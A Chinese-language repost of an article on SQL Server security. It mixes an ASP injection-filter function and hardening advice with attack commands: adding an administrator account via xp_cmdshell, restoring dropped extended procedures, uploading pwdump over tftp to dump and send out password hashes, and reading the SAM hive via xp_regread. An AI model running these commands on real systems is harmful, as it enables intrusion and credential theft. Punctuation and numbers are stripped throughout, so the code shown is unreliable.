熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> Oracle >> 正文

從IIS轉到SQL數據庫安全

2013-11-13 15:32:07  來源: Oracle 

  從codered到nimda等一大堆蠕蟲把原來需要人工利用的漏洞都變成了程序自動利用了大家還想去手工*作這些IIS漏洞麼?讓我們調整重心去看看服務器常用的數據庫吧
  
  一般網站都是基於數據庫的特別是ASPPHPJSP這樣的用數據庫來動態顯示的網站很多網站可能多注意的是*作系統的漏洞但是對數據庫和這些腳本的安全總是忽略也沒有太多注意
  
  從最比較普遍的腳本問題開始這些都是老話題了大家可以參考Hectic寫的《關於數據庫的簡單入侵和無賴破壞以天融信做例子》該文章對從SQL腳本問題說得非常詳細對於腳本安全的解決也可以通過過濾來實現可以參考我以前寫的對於ASP來說可以使用下面這個過濾函數
  
  Function Filter_SQL(strData)
  
  Dim strFilter
  Dim blnFlag
  Dim i
  
  strFilter=;//@_execdeclare 需要過濾的字符可以自己添加是分隔符
  blnFlag=Flase 過濾標志如果產生過濾那麼就是真
  
  Dim arrayFilter
  arrayFilter=Split(strFilter
  For i= To UBound(arrayFilter)
  If Instr(strDataarrayFilter(i))> Then
  blnFlag=True
  Exit For
  End If
  Next
  
  If blnFlag Then
  ResponseRedirect wrongasp
  當發現有過濾*作時導向一個預定頁面反正正常訪問用不到的連接請求總不是好事情
  Else
  Filter_SQL=strData
  End If
  
  End Function
  
  對於MS SQL Server數據庫來說安全問題不僅僅局限在腳本上了天殺的微軟的系統性很強整個基於WINDOWS系統的應用都有很強的關聯性對SQL Server來說基本可以把數據庫管理和系統管理等同起來了SQL Server默認的管理員帳號sa的密碼是空的這給多數NT服務器產生一個安全漏洞小榕的SQLRCMD就能夠利用獲得的數據庫管理員帳號執行系統命令
  
  在SQL Server中有很多系統存儲過程有些是數據庫內部使用的還有一些就是通過執行存儲過程來調用系統命令
  
  系統存儲過程xp_cmdshell
  
  就是以*作系統命令行解釋器的方式執行給定的命令字符串它就具體語法是xp_cmdshell {command_string} [ no_output]
  
  xp_cmdshell在默認情況下只有 sysadmin 的成員才能執行但是sysadmin也可以授予其他用戶這個執行權限在早期版本中獲得 xp_cmdshell 執行權限的用戶在 SQL Server 服務的用戶帳戶中運行命令可以通過配置選項配置 SQL Server以便對 SQL Server 無 sa 訪問權限的用戶能夠在SQLExecutiveCmdExec Windows NT 帳戶中運行 xp_cmdshell在 SQL Server 該帳戶稱為 SQLAgentCmdExec現在對於SQL Server只要有一個能執行該存儲過程的帳號就可以直接運行命令了
  
  對於 NT 和 WIN當用戶不是 sysadmin 組的成員時xp_cmdshell 將模擬使用 xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帳戶如果代理帳戶不能用則 xp_cmdshell 將失敗所以即使有一個帳戶是master數據庫的db_owner也不能執行這個存儲過程
  
  如果我們有一個能執行xp_cmdshell的數據庫帳號比如是空口令的sa帳號那麼我們可以執行這樣的命令
  
  exec xp_cmdshell net user refdom /add
  exec xp_cmdshell net localgroup administrators refdom /add
  
  上面兩次調用就在系統的管理員組中添加了一個用戶refdom
  
  當我們獲得數據庫的sa管理員帳號後就應該可以完全控制這個機器了可見數據庫安全的重要性
  
  下面這些存儲過程都是對Public可以執行的
  xp_fileexist用來確定一個文件是否存在
  xp_getfiledetails可以獲得文件詳細資料
  xp_dirtree可以展開你需要了解的目錄獲得所有目錄深度
  Xp_getnetname可以獲得服務器名稱
  
  還有可以*作注冊表的存儲過程這些不是對Public可以執行的需要系統管理員或者授權執行
  Xp_regaddmultistring
  Xp_regdeletekey
  Xp_regdeletevalue
  Xp_regenumvalues
  Xp_regread (對Public可以執行)
  Xp_regremovemultistring
  Xp_regwrite
  
  
  SQL Server的安全配置
  
  除跟著微軟打滿所有補丁外還需要加強數據庫的安全
  首先你需要加強象sa這樣的帳號的密碼跟系統帳號的使用配置相似一般*作數據庫不要使用象sa這樣的最高權限的帳號而使用能滿足你的要求的一般帳號
  
  接著對擴展存儲過程開始大屠殺首先就是xp_cmdshell還有就是上面那些一大堆存儲過程都drop吧一般也用不著
  
  執行
  use master
  sp_dropextendedproc xp_cmdshell
  
  去掉guest帳號阻止非授權用戶訪問
  
  去掉不必要的網絡協議
  
  加強對數據庫登陸的日志記錄最好記錄所有登陸事件可以用下面的簡單DOS命令來查看日志
  
  findstr /C:登錄 d:\Microsoft SQL Server\MSSQL\LOG\**
  
  用管理員帳號定期檢查所有帳號是否密碼為空或者過於簡單比如下面的語句
  
  Use master
  Select namePassword from syslogins where password is null
  
  用下面語句對所有帳號檢查對存儲過程和擴展存儲過程的執行權提防不必要的執行權限擴散
  
  Use master
  Select sysobjectsname From sysobjects sysprotects Where sysprotectsuid = AND xtype IN (XP) AND sysobjectsid = sysprotectsid
  
  加強數據庫的安全是非常重要的有的數據庫服務器是和WEB服務器隔離開的這就同MAIL服務器一樣數據庫的日志可能就基本很少去查看這將會成為管理員的一個疏忽點類似DNSMAIL等等數據庫服務器往往成為各種入侵的跳板
  
  下面是一些關於數據庫的問答和技巧
  
  獲得SA權限後卻不能執行xp_cmdshell存儲過程怎麼辦?
  答可能是已經把xp_cmdshell等擴展存儲過程刪除了可以用這個存儲過程把xp_cmdshell恢復
  sp_addextendedproc xp_cmdshell xpsqldll
  
  通過數據庫用pwdump獲得系統管理員密碼
  先上傳一個pwdump
  tftp i GET pwdumpexe pwdumpexe
  tftp i GET lsaextdll lsaextdll
  tftp i GET pwserviceexe pwserviceexe
  pwdump outfiletxt
  tftp PUT outfiletxt outfiletxt
  然後再用解密工具lpht等等破解這些密碼
  
  從數據庫讀取系統管理員密碼
  能讀出加密的密碼是NT的administrator帳號也不能做的SQL Server能讀出來是使用的LocalSystem帳號這個帳號比administrator更高一級可以使用下面這個存儲過程不過讀出來的密碼是經過加密後的然後再解密吧
  xp_regread HKEY_LOCAL_MACHINESECURITY\SAM\Domains\AccountF
  
  當然數據庫服務器的安全和缺陷還有很多還需要更多的研究
  

From:http://tw.wingwit.com/Article/program/Oracle/201311/16875.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.